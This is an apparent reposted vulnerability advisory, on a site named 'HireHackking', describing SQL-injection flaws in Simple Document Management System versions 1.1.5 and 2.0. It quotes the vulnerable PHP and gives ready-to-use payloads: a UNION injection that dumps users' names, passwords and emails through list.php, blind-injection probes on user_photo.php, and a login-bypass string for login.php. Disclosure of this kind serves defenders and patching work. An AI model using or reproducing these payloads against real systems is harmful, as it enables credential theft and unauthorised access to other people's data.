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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/54043/info

Simple Document Management System is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Simple Document Management System versions 1.1.5 and 2.0 are vulnerable. 

-----------
version 2.0
-----------

/list.php?folder_id=['foo]
/detail.php?doc_id=['foo]

<code>
line 13: if(isset($_GET['folder_id'])) $folder_id = $_GET['folder_id'];
         ...
line 48: if(isset($order)) {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id ORDER BY ". rawurldecode($order);
         } else {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id";
         }
</code>

.xpl! :: /list.php?folder_id=-10+union+all+select+1,1,1,concat_ws(char(58),user,pass,name,email),1,1,1,1,1,1,0+from+users--


~~ [Blind]

/user_photo.php?view=[foo]

<code>
$query = "SELECT photo,mime FROM users_info WHERE id=".$_GET['view'];
  $res = mysql_query($query, $sql);
  if( mysql_num_rows($res) == 1 ) {
    $row = mysql_fetch_array($res);
    header( "Content-type: $row[mime]" );
    echo "". base64_decode($row[photo]) ."";
  } else {
    echo "Badness!\n";
  }
</code>

.poc! :: /user_photo.php?view=2+and+1=1
         /user_photo.php?view=2+and+1=2


-------------
version 1.1.5
-------------

/login.php

<code>
  $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  if( $row[0] != 0 ) {
      header("Location: index.php");
      exit;
  }

  $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  $id = $row[id];
  $name = $row[name];
</code>

.xpl! :: user: Admin
         password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --


 __h0__